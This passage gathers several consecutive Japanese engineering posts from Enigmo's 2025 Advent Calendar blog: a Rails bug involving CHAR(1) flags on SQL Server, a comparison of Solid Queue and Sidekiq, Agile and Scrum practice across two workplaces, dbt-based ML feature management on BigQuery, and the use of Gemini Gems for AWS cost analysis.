の条件分岐では、 false と nil 以外はすべて truthy として扱われるため、 'false' という文字列も「真」として評価されます。 しかしこれは Ruby レベルでの話です。 ActiveRecord が生成する SQL では、値は型変換されることなく、そのままバインドされます。 テーブル定義を見て、ようやく原因に気づく 改めてテーブル定義を確認してみると、 active カラムは boolean ではありませんでした。 カラム型:CHAR(1) 想定値:'1'(有効) / '0'(無効) つまりこのコードは、 HTTP パラメータとして受け取った 文字列をそのまま SQL の条件に渡していた という状態だったのです。 SQL Server 側では、 'true' は boolean として解釈されません。 あくまで 文字列同士の比較として評価されます。 その結果、 エラーは出ない 条件にも一致しない 常に0件が返る という、分かりづらい不具合になっていました。 MySQL や PostgreSQL であれば、どうなっていたか ここで気になったのが、 「もし MySQL や PostgreSQL だったら、同じ問題は起きていたのか?」 という点でした。 PostgreSQL の場合 PostgreSQL には明確な boolean 型があります。 WHERE active = 'true' のような条件でも、 'true' を boolean の true として解釈します。 そのため、今回のケースでは 意図した通りにデータが返ってきていた可能性が高いです。 結果として、問題に気づかないまま運用が続いていたかもしれません。 MySQL の場合 MySQL では、 boolean は実体としては TINYINT(1) です。 'true' や 'false' といった文字列は、暗黙的に数値へ変換され、結果が返ることもあります。 ただしこの挙動は、明確な仕様というより暗黙の型変換に依存したものです。 なぜ SQL Server 環境で表面化されたのか この問題自体は、 SQL Server 固有の文法エラーではありません。 しかし、 SQL Server を採用しているサービスでは レガシーなテーブルでは、有効/無効フラグを CHAR 型で管理しているケースが今も存在する という背景から、 Rails + SQL Server の組み合わせで特に踏みやすい落とし穴だと感じました。 この経験から学んだこと このトラブルをきっかけに、次の点を強く意識するようになりました。 DBのカラム型は「現在の Rails の常識」と一致するとは限らない パラメータをそのまま条件に渡さず、 ドメイン 上の値('1' / '0' など)に変換してから使う 結果が返らない場合は、生成された SQL を必ず確認する Rails 側で正しく書けていても、DB側の前提が異なるだけで、意図しない挙動にハマることがあると学びました。 明日の記事の担当はWebエンジニアの レミー さんです。お楽しみに。
こんにちは!Webアプリケーションエンジニアの レミー です! この記事は Enigmo Advent Calendar 2025 の21日目の記事です。 Rails 8がリリースされてから、バックグラウンドジョブシステムである Solid Queue に興味を持ち、調べてみました。 バックグラウンドジョブは、 Ruby on Rails アプリケーションに重要な部分です。メール送信、画像処理、データ同期、キャッシュ更新、 CSV ファイルのエクスポートなど、これらはすべてアプリケーションの高速化とスムーズな動作を維持するために非同期で実行すべきタスクです。 長年、 Rails のバックグラウンドジョブにおいて「Sidekiq + Redis」はほぼ基準とされてきました。しかし、 Rails 8からは、 Rails は公式に Solid Queue を導入しました。これはRedisを必要とせず、補助的なサーバーも不要な、ネイティブなキューシステムです。 この記事では、Solid Queueとは何か、その仕組み、どうして Rails 8以上のプロジェクトでSolid Queueを使用すべきかについて解説します。また、Sidekiqとの比較も行います。 Solid Queueとは? Solid Queueは、データベースをジョブキューとして使用するバックグラウンドジョブシステムであり、 Rails Solid Suite(Solid Cache, Solid Queue, Solid Cableを含む)の一部として開発されました。 Redisを使用するSidekiqとは異なり、Solid Queueはジョブをデータベースのテーブルに保存し、ワー カープ ロセスがそのジョブを読み取って実行します。 つまり: Redisが不要 Sidekiqのインストールが不要 補助サーバーのコストがかからない ActiveJobと深く統合されている インストールが非常に簡単 これは、 Rails をシンプルにするために生まれました。特にスタートアップ、小規模〜中規模のプロジェクト、またはコストを抑える必要がある環境に最適です。 仕組みとデータベース構造 Solid Queueは単一のシンプルなテーブルだけではなく、ジョブのライフサイクルを管理し、安全性とパフォーマンスを確保するために複数のテーブルを使用します。 重要なテーブルは以下の通りです: solid_queue_jobs : ジョブの メタデータ (クラス名、引数、キュー名、優先度、遅延ジョブの場合は scheduled_at 、ジョブIDなど)を保存します。 solid_queue_ready_executions : 「実行準備完了」となったジョブを含みます。つまり、エンキューされたジョブで、ワーカーが拾える状態のものです。 solid_queue_scheduled_executions : スケジュールされたジョブを含みます。まだ実行タイミングには達していません。 solid_queue_claimed_executions : ワーカーが実行のために確保)したジョブ情報を保存し、複数のワーカーが同じジョブを実行しないためです。 solid_queue_blocked_executions : ブロックされており、すぐに実行できないジョブを含みます。 solid_queue_failed_executions : 実行後にエラーになったジョブを保存し、監視や デバッグ に役立ちます。 このように明確に複数のテーブルに設計されているため、Solid Queueは役割を明確に分離でき、ロジックがクリアになり、管理しやすくなります。 Solid Queueにおけるジョブのライフサイクル Solid Queueの仕組みと、なぜ複数の異なるテーブルが必要なのかを理解するために、ジョブがエンキューされ、ワーカーに拾われ、実行され、削除されるまでの完全なライフサイクルを説明します。 1. ジョブが呼び出される時(エンキュー) MyJob.perform_later(args) を呼び出すと、Solid Queueはデータベースに対して2つの書き込み操作を行います: solid_queue_jobs テーブルへの書き込み:ジョブの メタデータ ("queue_name", "class_name", "arguments", "priority", "active_job_id", "scheduled_at", "finished_at", "concurrency_key" など)を保存します。 すぐに実行するジョブの場合: solid_queue_ready_executions にデータを追加します。このテーブルには、ワーカーが処理可能な準備完了ジョブが含まれます。 2. ワーカーが実行するジョブを探す(ポーリング) ワーカーは solid_queue_ready_executions テーブルを継続的に「ポーリング」して、新しいジョブを取得します。ワーカーは以下の2つの作業を行います: 確保 : ワーカーが solid_queue_ready_executions からジョブを選択すると、 solid_queue_claimed_executions テーブルにレコードを書き込みます。このレコードにより、2つのワーカーが同じジョブを実行することができません。 実行 : クレームした後、ワーカーはジョブクラスの perform メソッドを呼び出して実行します。 3. ジョブ完了時、レコードの削除 ジョブが正常に実行されると、ワーカーは関連するすべてのテーブル( solid_queue_jobs , solid_queue_ready_executions , solid_queue_claimed_executions )からジョブを削除します。 ジョブのライフサイクルの簡単なまとめ 段階 関連テーブル 目的 ジョブのエンキュー solid_queue_jobs ジョブの メタデータ を保存 ジョブ準備完了 solid_queue_ready_executions ワーカーが拾える状態 ワーカーによる確保 solid_queue_claimed_executions 1つのジョブを1つのワーカーが実行することを保証 実行 なし ワーカーが perform 関数を呼び出す 完了 複数のテーブルから削除 レコードのクリーンアップ 安全性、ジョブの「失う」を防ぐ仕組み 重要な要件の一つは、エンキューされたジョブが少なくとも1回は実行され、失われないことです。Solid Queueは、ワーカーのクラッシュ、強制終了、プロセスの不具合などのケースを以下の形式で処理します: 各ワーカーは起動時に solid_queue_processes にレコードを作成し、定期的に last_heartbeat_at を更新します。 ワーカーがジョブをクレームする際、 solid_queue_claimed_executions にプロセスIDと共にレコードを書き込みます。 デフォルトはスーパーバイザープロセスがバックグラウンドで実行され、 processes テーブルをチェックします。許容時間を超えて heartbeat がないプロセス(例:5分以上)が見つかった場合、それを「失敗したワーカー」と見なします。 スーパーバイザーはそのプロセスを削除し、そのワーカーが保持していたジョブを ready キューに再エンキューして、他のワーカーが拾えるようにします。 これにより、ワーカーがクラッシュしてもジョブは失われず、データの整合性が保証されます。 Solid Queue と Sidekiq の比較 Solid QueueとSidekiqはどちらも Rails で人気のある非同期処理のシステムですが、以下の表で違いを明確にします。 基準 Solid Queue ( Rails 8) Sidekiq ストレージバックエンド データベース ( PostgreSQL / MySQL / SQLite ) Redis (インメモリ、非常に高速) Rails との統合 ネイティブ、 Rails 8からの公式組み込み コアじゃない、gem経由で使用 パフォーマンス 小〜中規模のワークロードに良好 非常に高い、大規模ワークロードに最適 遅延 DB使用のため比較的高い 低い (Redis インメモリ) インストール 簡単、補助サービス不要 複雑、RedisとSidekiqの設定が必要 運用コスト ほぼゼロ (既存DBを使用) Redisのコストがかかる (特に本番環境) 信頼性 高い ( SQL トランザクション + ジョブクレーム) 非常に高いがRedisに依存 リトライのロジック あり、DBに保存 あり、強力かつ柔軟 ダッシュボード 強力なUIはまだない Web UIが充実、リアルタイム監視が可能 いつ Solid Queue を選ぶべきか? シンプル、軽量、ネイティブ、コスト節約を望むならSolid Queueを選びましょう。 いつ Sidekiq を選ぶべきか? 高速、強力、大規模システムに適したものを望むならSidekiqを選びましょう。 結論 Solid Queueは、インフラを簡素化し、 Rails 8の大きな進歩を示しています。バックグラウンドジョブをコア フレームワーク に直接統合することで、中小規模のプロジェクトはRedisやSidekiqに依存する必要がなくなり、安定性、信頼性の高いジョブ処理能力を確保しながら、運用コストを大幅に削減できます。 明日の記事の担当はエンジニアの宮川さんです。お楽しみに。
こんにちは、 BUYMA TRAVEL Webエンジニア の 赤間 です。  この記事は Enigmo Advent Calendar 2025 の 20日 目の記事です。 この記事では、転職をきっかけに感じたことを基に、 アジャイル / スクラム の基本と、現場で起きがちな"あるある"とその対策について紹介します。 軽く自己紹介になりますが、私は2025年8月に転職してきたエンジニアです。前職でもエンジニアとして開発を行なっており、時期によっては スクラム マスターの役割も担当していました。 その経験から、転職後に「これって アジャイル か?」と戸惑ったことがあり、同じように悩む人のヒントになればと思いこの記事を書いています。 1. はじめに: 同じ「 アジャイル 」なのに、転職したら別物だった 前職では「 スクラム 」を実践していました。1週間という短いスプリントで開発・スプリントレビュー・ふりかえりを繰り返し、要件定義も(プロジェクト毎に)持ち回りで実施していました。 ところが転職後、同じく「 アジャイル 」を実践する現場に入ったものの、運用はスプリントよりも「この機能をいつ出すか」というリリース単位が中心です。参加した当初、実装やリリーススピードは前より速いはずなのに、私自身はどこか噛み合わず、「これって アジャイル なのかな?」と戸惑いました。いま考えると、 アジャイル の形が違うというより、最適化している対象が違ったのだと思います。 この記事では、まず アジャイル / スクラム の基本をできるだけわかりやすく整理します。そのうえで、転職前後の現場を例に「同じ アジャイル でも会社 (チーム) でこう違う」を簡単に比較し、それぞれの特徴や転職を通して見つけたよくある課題(あるある)と解決策を、 アジャイル のことを知らない人にも伝わる形でまとめていきます。 2. そもそも アジャイル とは アジャイル は一言でいうと、変化を前提に「小さく作って試し、フィードバックを受け軌道修正する」開発の考え方です。 最初に要件を固めて、計画通りに作り切る (いわゆる ウォーターフォール ) と対比するとイメージしやすいと思います。   ここで大事なのは、朝会・夕会・カンバンのような手段そのものではなく、 フィードバックを得て、次に反映するサイクルが回っているか です。 たとえば「作ったものを早めに見せる → 反応をもらう → 次の方針を変える」というループが速ければ速いほど、価値や計画のズレが小さいまま進行できます。 3. スクラム とは スクラム は、 アジャイル の考え方を現場でうまく回すための 代表的な フレームワーク です。 「 アジャイル =考え方」だとすると、 スクラム はそれを実践するために、役割・イベント (会議) ・成果物をセットで定義し、チームが迷いにくい形にしたもの、と考えるとわかりやすいです。   スクラム の用語 スプリント: 固定期間 (一般に1〜4週間) で区切られた開発サイクル スプリントゴール: そのスプリントで達成したい目的 (「何のためにやるか」の軸) プランニング: 次のスプリントで「何をどれだけやるか」をチームで決める デイリー スクラム : スプリントゴールに向けて、進捗確認と調整を行う毎日の短い打ち合わせ スプリントレビュー: 出来上がった成果物を共有し、フィードバックをもらう場 レトロスペクティブ (ふりかえり) : やり方の カイゼン を話し合う場   重要: スクラム は 儀式 ではなく、 検証と カイゼン を回す仕組み   スクラム は「イベントをこなすこと」が目的ではありません。 短い周期で 検査 (Inspect) = いま正しい方向に進んでいるかを確かめ、 適応 (Adapt) = 必要ならやり方・優先順位・計画を変える、という検証と改善を回すための仕組みです。   つまり、 スクラム の各イベントは全て「Inspect / Adapt」のためにあります。 スプリントで区切ることも、スプリントレビューで見せることも、ふりかえりをすることも、全て価値や計画の ズレを小さくするため です。 4. 前職 スクラム の特徴 (メリット・デメリット) 6人チーム/分業なし + 依存が減って、詰まっても助け合いやすい (柔軟に回る) - 何でも屋になりやすく、社内での育成コストと属人化リスクが上がる 要件定義・見積もりが持ち回り プロダクト理解が深まり、当事者意識が育つ 得意不得意の差が出やすく、ブレや認識差が起きることも スプリント1週間/ふりかえり重視 カイゼン の回転が速く、失敗が小さく済む 追われやすく、レビュー品質が落ちると「忙しいだけ」になりがち 朝会夕会で進捗確認 見える化 が効き、抱え込みや遅延を早く発見できる 運用次第で報告会・監視っぽくなり、 心理的 安全性を下げる可能性あり 5. 現職 アジャイル の特徴 (メリット・デメリット) エンジニア4人+周辺職種は別チームで参加 必要な専門性が適切なタイミングで入り、品質が上がりやすい 意思決定や仕様の往復が増えると、スピードが落ちることがある 半分業 (フロント/サーバ/インフラ)  専門性が積み上がり、品質とスピードを出しやすい ボトルネック が固定化すると、待ちが増えてリードタイムが伸びやすい 要件定義はCSが主導、デザイナーやエンジニアがブラッシュアップ 顧客の声が仕様の入口にあり、「作ったけど使われない」を減らしやすい 技術制約・実現方法の検討が遅れると、手戻りが増えることがある スプリントが長期間 機能にフォーカスしやすく、リリース目的がブレにくい フィードバックが遅れると、気づいた時にはズレが大きくなっている 毎日夕会/週1でふりかえり (乖離確認)  見える化 が効き、抱え込みや遅延を早く発見できる 運用次第で報告会・監視っぽくなり、 心理的 安全性を下げる可能性あり 6. スクラム の「ズレやすいポイント」あるある ここまで アジャイル / スクラム の概要と、前職・現職それぞれの特徴を書きました。 面白いのは、運用の形は違っていても、実際に現場でつまずきやすい「ズレやすいポイント」には共通点があったことです。 ここからは、 スクラム を回すときに起きがちな"あるある"を整理していきます。 1)  スプリントが長くなる/ズレ続ける 本来スプリントは固定期間で区切りますが、実際には意外とズレがちです。 祝日やメンバーの休み、突発対応、大きなリリースが重なると、 「期間は決めているのに、結局終わらない」 という問題が発生します。 この状態が続くと、スプリントレビューやふりかえりのタイミングが曖昧になってしまいます。 2) どうしても納期が先に確定してしまう 色々な要因で、納期が先に決まること自体は珍しくないと思います。問題は、納期が固定なのにスコープも固定になっていることです。この場合、現場が デスマーチ になりやすいです。 3) 会議 (夕会) はあるが、スプリントレビューで顧客フィードバックが薄い 夕会などで進捗は把握できていても、スプリントレビューで"価値"を確かめられないと、やっていることはただの「 進捗管理 」になってしまいます。 その結果、予定通り作ったのに、想定していた価値が出ないというズレが発生しやすくなります。 4) ふりかえりはするが、 カイゼン が実験になっていない ふりかえり自体はやっていても、内容が「反省会」になってしまう。 ふりかえりの狙いは、誰かを責めることではなく、仕組みを少しずつ カイゼン することです。 5) 分業で詰まりが固定化する 分業は専門性を伸ばしやすい一方で、特定領域にタスクが集中すると、そこが ボトルネック になってしまいます。 スクラム では、個人の 稼働率 よりも、チームとしてのリードタイムが重要になるため、ここがズレの原因になりがちです。 7. 「じゃあどうすれば?」具体的な カイゼン 案 では、こうした"あるある"はどう解消すればいいでしょうか。 ここからは、私なりに考えた カイゼン 案を紹介します。前職、現職で実際にチームで議論して試した工夫も、一部取り入れています。 スクラム の型に無理やり戻すことが目的ではありません。 Inspect / Adapt (検査と適応) がきちんと回る状態に近づけることが目的です。 1)  スプリントが長くなる/ズレ続ける スプリントの価値は"期限内に全部終える"ではなく、"短い周期での検証と カイゼン "にある 祝日が多い週は最初からタスク数を減らす (期間は固定)  どうしても溢れるなら、「終わらせる」ではなくスプリントを中止する 2) どうしても納期が先に確定してしまう 納期固定を成立させる条件は「変更できる何か (スコープ/品質/順序) 」があること Must/Should/Could で削れる部分を先に決めておく 「この日までにここまで」ではなく「この日までに価値が出る最小形」を合意する 3) 会議 (夕会) はあるが、スプリントレビューで顧客フィードバックが薄い フィードバックが薄いと、"作ったものが刺さらない"がよく起きる スプリントレビューは「説明」より「動くもの」を中心にする 参加者が広げづらいなら、CSや営業から顧客の反応を持ち込むだけでもOK 4) ふりかえりはするが、 カイゼン が実験になっていない ふりかえりは反省会ではなく、 カイゼン のA/Bテストに近い 毎回、 カイゼン アクションは1つ程度に絞る 次回のふりかえりで「やったかどうか、効いたかどうか」を確認し、効かなければその カイゼン はやめる 見積もりが外れた原因は「前提が変わった」「分割が大きい」など仕組み側として考える 5) 分業で詰まりが固定化する 個人最適より、チームのリードタイム最適を狙う 着手しすぎをやめる 詰まりやすい領域は、スプリントレビュー待ちを減らすためにペア/モブを試す 8. 今後の展望 転職直後に「同じ アジャイル なのに、なんだか噛み合わない」と感じたのは、今思えば当然でした。 前職で体験していたのは、短いスプリントでレビューとふりかえりを回し続ける" スクラム 寄りの アジャイル "。一方で現職は、機能リリースを軸に、CSや周辺職種の知見も取り込みながら進める"プロダクト寄りの アジャイル "です。言葉は同じでも、狙っている最適解が少し違っていたんだと思います。   アジャイル や スクラム に"唯一の正解"はありません。会社のフェーズ、プロダクトの性質、チームの人数やスキルで、うまく回る形は変わります。大事なのは「どの型が正しいか」を決めることではなく、いまの自分たちにとって必要な カイゼン を見つけて、小さく試して、調整し続けること。そのプロセス自体が、 アジャイル の面白さだと感じています。   今後も現職の強み (専門性・顧客起点・リリース志向) を活かしながら、ズレが大きくなるポイントを修正していきます。   明日の記事担当は BUYMA のWebエンジニア レミー さんです。お楽しみに。
こんにちは、AI テクノロ ジー グループ データサイエンティストの髙橋です。業務では企画/分析/ 機械学習 モデル作成/プロダクション向けの実装/効果検証を一貫して行っています。この記事は Enigmo Advent Calendar 2025 の 19 日目の記事です。 本記事では、 dbt を利用した 機械学習 モデルの特徴量管理について紹介します。この特徴量管理を活用することで、 機械学習 を利用したプロジェクトで多くの実験を効率的に実施でき、利益増加というビジネス成果に繋げることができました。 www.getdbt.com 特徴量管理の目的・成果 数多くの特徴量を試す上での課題 dbt による課題解決 dbt による特徴量管理時の工夫 まとめ ※文中に記載する ディレクト リやファイル名、 SQL コード、コマンドなどは全てイメージです。 特徴量管理の目的・成果 dbt を利用した特徴量管理を導入した目的は、ある 機械学習 プロジェクトにて効率的に数多くの特徴量を試す必要があったためです。まず、そのプロジェクトと得られた成果について説明します。 弊社が運営している CtoC ECサービス BUYMA では、MA (Marketing Automation) ツールを通じてクーポンなどの インセンティブ をメールで配布しています。これまで、様々な会員セグメントを定義し、各セグメントに対しての インセンティブ 配布ルールの運用を行っており、そのルールのチューニングで改善を図っていました。このアプローチではルールをもとに一律配布しているため、 機械学習 による最適化余地があると考えました。具体的には、 インセンティブ がなくても購入する会員にもコストをかけてしまったり、 インセンティブ があれば購入する会員に配布できていなかったりなどの最適化の余地があるのではないかと考えました。そこで、 機械学習 を活用してデータに基づくより効果的な インセンティブ 配布を実現することを目指しました。 BUYMA はリリースから 20年を超えるサービスであり、様々な MA シナリオ(会員セグメントと配布ルールの組み合わせを以降 MA シナリオと呼びます)が運用されています。出来るだけ多くの MA シナリオに対して 機械学習 による最適化を適用したく、そのためには様々な特徴量を効率良く試せるようにすべきと考えました。 そこで、今回紹介する dbt を利用した特徴量管理を導入しました。その結果、約1年間でおよそ8個の MA シナリオに 機械学習 による配布最適化を試すことができ、シナリオによってばらつきはあるものの約20%の利益増加が実現できました。 数多くの特徴量を試す上での課題 まず前提として、特徴量は BigQuery で作成する方針としました。理由は、既に BUYMA のデータは BigQuery に保存されていたことと、 Python 実行環境(ノートブックなど)への特徴量作成のもとになる行動データのダウンロードに非常に時間がかかったためです。時間がかかる理由は、 BUYMA は会員数・商品数が非常に多く、それに伴いユーザーの行動ログのデータ量も非常に多いためです。具体的には、会員数1185万人、商品数590万品であり *1 、利用する行動ログのレコード数は数千万件になることもあります。 この前提のもと、BigQuery で数多くの特徴量を効率的に試すには以下の課題がありました。 特徴量の数が多くなると SQL が肥大化して可読性が低下する。 例えば、弊社で過去別の機能で作成した特徴量 SQL ファイルは2000行を超えており読むのが大変でした。 特徴量作成のロジックが複雑になると可読性が低下する 例えば、過去 n 日間の閲覧数という特徴量を複数 n に対して記述すると、 SQL が長くなり可読性が低下します。 別の実験で特徴量を再利用しづらい 再利用する場合は、その特徴量部分を毎回コピペする必要があるためです。 dbt による課題解決 そこで、 dbt を利用して特徴量管理を行うことで、これら課題の解決を図りました まず、 dbt について簡単に説明します。ただし、dbt は多くの機能があるため今回の課題解決に関連する機能に絞って説明します。全体を詳しく知りたい方は 公式ドキュメント を参照ください。 今回役立ったのは以下の機能です。 SQL ファイルの分割 for などのロジックの記述 SQL ファイルの分割について、dbt を利用することで CTE (Common Table Expression) を別のファイルに分けることができます。例として、以下のような CTE を使った SQL を考えます。 -- main.sql WITH users AS ( SELECT id AS user_id, first_name, last_name FROM `project.dataset.users` ) SELECT * FROM users dbt を利用することでこの SQL を2つのファイルに分けることができます。 -- user.sql SELECT id AS user_id, first_name, last_name FROM `project.dataset.users` -- main.sql SELECT * FROM {{ ref( " user " ) }} ここで、 {{ (ref("user")) }} は user. sql を参照することを意味します。 dbt run コマンドを実行すると、 user.sql 、 main.sql のテーブルビューが作成されます。この機能を利用することで、特徴量作成などの SQL を分割して可読性を向上させることが出来ます。具体的には、以下のように SQL ファイルを分割しました。 models ├── datasets │ └── dataset.sql └── features │ ├── features_user_attributes.sql │ └── features_user_action_log.sql └── labels ├── label_type_1.sql └── label_type_2.sql ここで、 models ディレクト リは dbt でデータ取得のための SQL を配置する ディレクト リです。 *2 各 datasets ファイルの中身は以下のようにしました。 SELECT * FROM {{ var( " user_ids_table_name " ) }} LEFT JOIN {{ ref( " features_user_attributes " ) }} USING (user_id) LEFT JOIN {{ ref( " features_user_action_log " ) }} USING (user_id) LEFT JOIN {{ ref( " label_type_1 " ) }} USING (user_id) ここで、 var は dbt で利用できる変数です。 *3 様々な会員セグメントについて実験するために、セグメントごとの会員 ID を別テーブルにあらかじめ保存しておき、変数として切り替えられるようにしました。 features ディレクト リ配下のファイルは意味がある粒度で特徴量を分けて再利用しやすくしました。また、 機械学習 の目的変数である label も複数パターン試せるようにしました。 こうしたことで、実験が進むごとに特徴量が増加しても、 SQL が肥大化して読みにくくなることを防げました。具体的には、1つの SQL ファイルあたり長くとも約100行におさまるようになりました。また、 dataset.sql を見ればどのような特徴量が利用されているかが一目で分かるようになりました。 for などのロジックの記述について、dbt では Jinja というテンプレートエンジン の記法で for などのロジックを記述することができます。これを利用して、例えば過去 1、3、7日間の閲覧、お気に入り回数の集計は以下のように記述できます。 {%- set agg_actions = [ " view " , " like " ] -%} {%- set last_n_days = [ 1 , 3 , 7 ] -%} SELECT user_id, {% for agg_action in agg_actions %} {% for last_n_day in last_n_days %} COUNTIF( day_from_base_date <= {{ last_n_day }} AND action = " {{ agg_action }} " ) AS cnt_action_{{ agg_action }}_last_{{ last_n_day }}_days, {% endfor %} {% endfor %} FROM `project.dataset.user_action_log` GROUP BY user_id ここで、簡単のために user_action_log テーブルに特徴量作成の基準日から何日前のログかを示す day_from_base_date カラムが存在すると仮定しています。これを通常の SQL で記述すると以下のようになります。 SELECT user_id, COUNTIF( day_from_base_date <= 1 AND action = " view " ) AS cnt_action_view_last_1_days, COUNTIF( day_from_base_date <= 3 AND action = " view " ) AS cnt_action_view_last_3_days, COUNTIF( day_from_base_date <= 7 AND action = " view " ) AS cnt_action_view_last_7_days, COUNTIF( day_from_base_date <= 1 AND action = " like " ) AS cnt_action_like_last_1_days, COUNTIF( day_from_base_date <= 3 AND action = " like " ) AS cnt_action_like_last_3_days, COUNTIF( day_from_base_date <= 7 AND action = " like " ) AS cnt_action_like_last_7_days FROM `project.dataset.user_action_log` GROUP BY user_id 比較してみると、 dbt を利用することで SQL が短くなり、かつ変数を定義できるためどの行動を過去何日分集計するかが一目で分かるようになりました。これにより特徴量が複雑になっても可読性が低下することを防げました。また、集計する日数や行動が増えたとしても、変数のリストに要素を追加するだけで対応できるようになりました。 dbt による特徴量管理時の工夫 より多くの特徴量を素早く試せるように行った工夫があるため、それらも紹介します。ここでは2つ紹介します。 1つ目はデー タセット 管理表を用意し、実験で利用するデー タセット ごとに ID を採番し、 dataset_001 、 dataset_002 のようにファイルを作成していく方針としたことです。 デー タセット 管理表のイメージ: デー タセット ID デー タセット 説明 1 セグメント1に対して特徴量 A を利用したデー タセット 2 セグメント2に対して特徴量 A, B を利用したデー タセット 作成したファイルのイメージ: models └── datasets ├── dataset_001.sql └── dataset_002.sql こうすることで、新しいデー タセット を簡単に追加できるようにし、かつ過去のデー タセット も参照しやすくしました。実際に2025年12月時点ではデー タセット ID は 100 を超えていますが、問題なく運用出来ています。 2つ目は dbt で作成したテーブルのビューから Python 実行環境でデータを取得する際は、以下のような SQL で一度 GCS にエクスポートしてダウンロードするようにしたことです。これは、 Python で BigQuery SDK を利用してデータ取得するとレコード数が多い場合非常に時間がかかるためです。 -- analyses/export_dataset.sql {%- set bucket_folder = " datasets/ " + var( " dataset_id " ) -%} {%- set table_name = target.database + " . " + target.schema + " . " + " dataset_ " + var( " dataset_id " ) -%} -- BigQuery の export data 構文において _table_suffix を含んでいるとエラーが発生するため -- CREATE TEMP TABLE 構文を利用。 -- https://stackoverflow.com/a/70033601 CREATE TEMP TABLE temp_dataset AS ( SELECT * FROM {{ table_name }} ); EXPORT DATA OPTIONS ( uri = " gs://{{ var('bucket_name') }}/{{ bucket_folder }}/*.gz " , format = " Parquet " , overwrite = true , compression = " GZIP " ) AS ( SELECT * FROM temp_dataset ); ここで、GCS バケット 名やフォルダ、エクスポートするデー タセット ID を dbt 変数としており、これによりデー タセット によってエクスポート先を変更できるようにしました。また、この SQL はテーブルビューを作成する必要がないため、 analyses ディレクト リに配置して、以下のコマンドで コンパイル して実行するようにしました。 dbt compile \ --select analyses/export_dataset.sql \ --vars ' {bucket_name: "your_bucket_name", bucket_folder: "your_bucket_folder", dataset_id: "001"} ' && \ bq query < target/compiled/your_dbt_project_name/analyses/export_dataset.sql ここで、 dbt compile コマンドは Jinja 記法などを解決して実行可能な SQL に コンパイル するコマンドであり、 コンパイル されたファイルは target/compiled 配下に保存されます。また、 dbt の analyses ディレクト リとは models ディレクト リとは異なり一時的な分析用 SQL などを配置するのに適したものになります。 *4 まとめ 本記事では、dbt を利用した特徴量管理について紹介しました。 SQL の肥大化や特徴量の再利用しづらさという課題を、 SQL ファイルの分割や for などのロジック記述により解決しました。また、デー タセット 管理の方法や Python 実行環境でのデータ取得の高速化というより効率的に多くの特徴量を試す方法も紹介しました。これにより、複数の MA シナリオに対して 機械学習 を利用した インセンティブ 配布最適化を試すことができ、利益増加という成果に繋げることが出来ました。 本記事が特徴量管理の参考になれば幸いです。 明日の記事は BUYMA TRAVEL のエンジニアの 赤間 さんです。お楽しみに! 株式会社 エニグモ すべての求人一覧 hrmos.co *1 : 2025年10月末時点の数値です。 https://enigmo.co.jp/ir/ *2 : dbt models について詳細は dbt 公式ドキュメント を参照ください。 *3 : dbt の変数について詳細は dbt 公式ドキュメント を参照ください。 *4 : dbt analyses について詳細は dbt 公式ドキュメント を参照ください。
こんにちは、インフラエンジニアの森田です。 この記事は Enigmo Advent Calendar 2025 の 14日目の記事です。 今回は、業務効率化のために Google Geminiのカスタム指示(Gems)を作成し、 実際の業務で使ってみた使用感や気づきについて紹介します。 どのような業務に活用したか 私は直近で AWS のコスト削減に取り組んでいます。 特にSavings Plansなどを購入する際、 複数アカウント のオンデマンドコストと推奨コミット額を見比べ、 その購入計画が適切かを整理する必要がありました。 これを人力で行うのは 工数 もかかり、ミスのリスクもあるため「辛い」作業でした。 そこで、Savings Plans推奨事項の CSV ファイルと、 Cost Explorer から CLI で取得した JSON ファイルを読み込ませることで、 コミット額の適切性検証とコストメリットの整理を行ってくれるGemsを作成しました。 結果として、 非常に良好な感触 を得られました。 やはり、複雑な数値の突き合わせや計算は計算機(AI)に任せるのが一番です。 本記事では、実際にツールを作ってみて「気をつけると良い点」と、 組織で運用する上で「課題だと感じた点」を共有します。 カスタム指示(Gems)作成のポイント コスト削減アシスタントGemsを作成する過程で、特に重要だと感じたポイントは以下の3点です。 1. 具体的な使い方の説明(ガイド)を含める スクリプト と異なり、対話形式で進むため、 初見のユーザーでも迷わないよう「利用手順」を指示に含めておくと親切です。 今回はデータを読み込ませて分析するツールなので、 以下のようにデータの取得手順を案内させるようにしました。 ## 0. ユーザーサポート / 使い方ガイド ユーザーから「使い方を教えて」「何が必要?」と問われた場合、または挨拶のみでデータが未提供の場合は、以下の3ステップのデータ取得手順を案内してください。 ### 手順1: 推奨事項CSVのダウンロード (AWS Console) <取得手順を記載> ### 手順2: 直近のオンデマンド料金取得 (AWS CLI) <取得手順を記載> ### 手順3: データの取得 <取得手順を記載> 2. 入出力のイメージを厳密に定義する 曖昧な指示だと、実行のたびにAIの解釈が変わり、 出力フォーマットがブレて使いづらくなります。 AIに勝手な解釈をさせないよう、入力データの処理ルールと出力形式を 以下のように固定することをお勧めします。 入力ルールの例: ## 2. 入力データの処理ルール 以下のデータがテキストまたはファイルとして与えられます。 1. **推奨事項 (CSV):** ` savings-plans-recommendations.csv ` * ここから「アカウントID」「推奨コミットメント額($/h)」「推定削減率」を抽出します。 2. **実績コスト (JSON):** ` ec2_ondemand_daily_filtered.json ` (Cost Explorer出力) * **安全性判定:** ` 推奨コミットメント額($/h) × 24h ` が ` 日次実績コスト(過去30日間の最小値) ` を下回っているか確認してください。実績を下回っていれば「安全(使い切れる)」、上回っていれば「注意(使い切れないリスクあり)」と判定します。 (略) 出力ルールの例: 必ず以下の **【出力1】** 〜 **【出力3】** の形式で出力してください。 ----- ### 【出力1】 <出力1の構造を指示する> (略) 3. 複雑なファイルは「キャプチャ画像」で読ませる 複雑なレイアウトの Excel やPDFファイルは、 テキスト抽出時に構造が崩れ、正しく解析できない場合があります。 そのような場合、 対象箇所のキャプチャ画像を撮って画像を読ませる 方が、 精度が高くなるケースがありました。 テキストでの読み込みで精度が出ない場合は、「画像を読ませる」という選択肢を 頭の片隅に置いておくと良いでしょう。 管理・運用上の懸念点 個人のツールとしては優秀なGemsですが、これを「会社の資産」として管理しようとした際、 いくつか課題も見えてきました。 変更履歴が見えない 作り込んだカスタム指示は長文になりがちですが、現状のGemsには変更履歴(Diff)を見る機能がありません。 「誰が・いつ・なぜ変更したか」が追えないため、チーム開発には不向きです。 GCP のVertex AI AgentsであればTerraform等で管理可能ですが、 Gemini(Gems)単体では難しいため、現状は 「プロンプトの内容をテキストファイルとしてGitで管理し、変更時はGitを通してから手動でGemsを更新する」 という運用が現実解になりそうです。 スマートではありませんが、資産管理としては必要です。 作成者のアカウント削除でGemsも消える Gemsの実体は、作成者の「マイドライブ/Gemini Gems/」配下に保存されるファイルとして扱われるようです。 